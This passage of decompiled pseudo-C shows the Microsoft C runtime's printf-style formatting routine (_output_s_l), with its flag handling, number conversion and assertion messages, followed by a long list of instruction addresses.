																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf9b80f80
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xfe6faf80
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xfe6d6f80
																							E00424670(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428310(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428350(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428310(__ebp + 0x14);
																			__eax = E00433EC0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E330();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E20(_t543))) = 0x16;
																E00422BB0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041ADD0(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BC70(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E330();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041ADD0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00422E20(_t530))) = 0x16;
															E00422BB0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041ADD0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E00430740( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E004307C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00434f54
0x00434f54
0x00434f54
0x00434f54
0x00434f54
0x00434f54
0x00434f54
0x00434f5b
0x00434f5b
0x00434f5b
0x00434f71
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00435098
0x00435098
0x0043509f
0x00000000
0x00000000
0x004350a1
0x004350a1
0x004350ac
0x004350b2
0x004350b4
0x004350ba
0x004350bd
0x004350bf
0x004350c5
0x004350ce
0x004350d3
0x004350f0
0x004350f3
0x004350f3
0x004350f8
0x004350fd
0x004350fd
0x00435103
0x00435105
0x0043510b
0x00435111
0x00435111
0x0043511a
0x0043511a
0x00435103
0x00435120
0x00435124
0x00435132
0x00435135
0x00435138
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x0043514e
0x0043514e
0x00435154
0x00435156
0x00435156
0x0043515d
0x00435160
0x00435163
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00435173
0x00435179
0x00435179
0x0043517f
0x004351fc
0x004351ff
0x00435202
0x00435205
0x00435208
0x0043520b
0x00435211
0x00435211
0x00435217
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x0043524c
0x0043524f
0x0043524f
0x00435252
0x00435257
0x00435257
0x0043525c
0x0043526e
0x0043526e
0x00435271
0x00435283
0x00435283
0x00435286
0x00435288
0x0043528c
0x0043528c
0x00435273
0x00435273
0x00435277
0x00435277
0x0043525e
0x0043525e
0x00435262
0x00435262
0x0043525c
0x00435296
0x00435299
0x0043529c
0x004352a5
0x004352a5
0x004352a8
0x004352aa
0x004352b1
0x004352b5
0x004352be
0x004352c3
0x004352c6
0x004352cd
0x004352d1
0x004352d5
0x004352e1
0x004352e4
0x004352e4
0x004352e7
0x004352ec
0x004352ec
0x004352ef
0x004352f1
0x004352f8
0x004352fc
0x00435305
0x0043530a
0x004352ef
0x0043530d
0x00435311
0x004353e5
0x004353e5
0x004353ec
0x004353f0
0x004353f4
0x004353f8
0x00000000
0x00435317
0x00435317
0x00435317
0x0043531b
0x00000000
0x00000000
0x00435321
0x00435321
0x0043532b
0x0043532e
0x00435334
0x00435337
0x0043533d
0x0043533d
0x0043533d
0x00435349
0x0043534c
0x00435352
0x00435354
0x00000000
0x00000000
0x0043535a
0x0043535a
0x00435363
0x0043536a
0x00435374
0x0043537b
0x0043538a
0x00435396
0x00435399
0x0043539f
0x004353a6
0x004353b1
0x004353b1
0x00000000
0x004353b1
0x004353a8
0x004353a8
0x004353af
0x004353bd
0x004353bd
0x004353c4
0x004353c8
0x004353d6
0x00000000
0x004353db
0x00000000
0x004353af
0x004353e3
0x00435400
0x00435400
0x00435407
0x0043540c
0x0043540c
0x0043540f
0x00435411
0x00435418
0x0043541c
0x00435425
0x0043542a
0x0043540f
0x00435407
0x0043542d
0x0043542d
0x00435431
0x00435439
0x00435441
0x00435441
0x00435448
0x00435448
0x0043451f
0x00434525
0x00434532
0x00434537
0x00000000
0x0043454a
0x00434554
0x0043457b
0x00434562
0x00434573
0x00434573
0x00434554
0x00434585
0x0043458b
0x00434597
0x0043459a
0x004345a8
0x004345ab
0x004345b8
0x0043465d
0x00434663
0x00434669
0x00434670
0x00000000
0x00000000
0x00434676
0x0043467c
0x00000000
0x00434683
0x00434683
0x0043469b
0x004346a0
0x004346a3
0x004346a5
0x0043475f
0x00434772
0x00434777
0x00000000
0x004346ab
0x004346be
0x004346c3
0x004346c9
0x004346cb
0x004346d4
0x004346d4
0x004346d7
0x004346e3
0x004346e7
0x004346ed
0x004346ef
0x004346f4
0x004346f6
0x004346fb
0x00434700
0x00434702
0x00434707
0x0043470a
0x0043470d
0x0043470f
0x0043470f
0x0043470d
0x00434710
0x00434710
0x00434717
0x00000000
0x00434719
0x0043471e
0x0043473a
0x00434742
0x0043474f
0x00434754
0x00000000
0x00434754
0x00434717
0x00000000
0x0043477f
0x0043477f
0x00434786
0x00434789
0x0043478c
0x0043478f
0x00434792
0x00434795
0x00434798
0x0043479f
0x004347a6
0x00000000
0x00000000
0x004347b2
0x004347b2
0x004347b9
0x004347c5
0x004347c8
0x004347ce
0x004347d5
0x00000000
0x00000000
0x004347d7
0x004347d7
0x004347dd
0x004347dd
0x004347e4
0x00000000
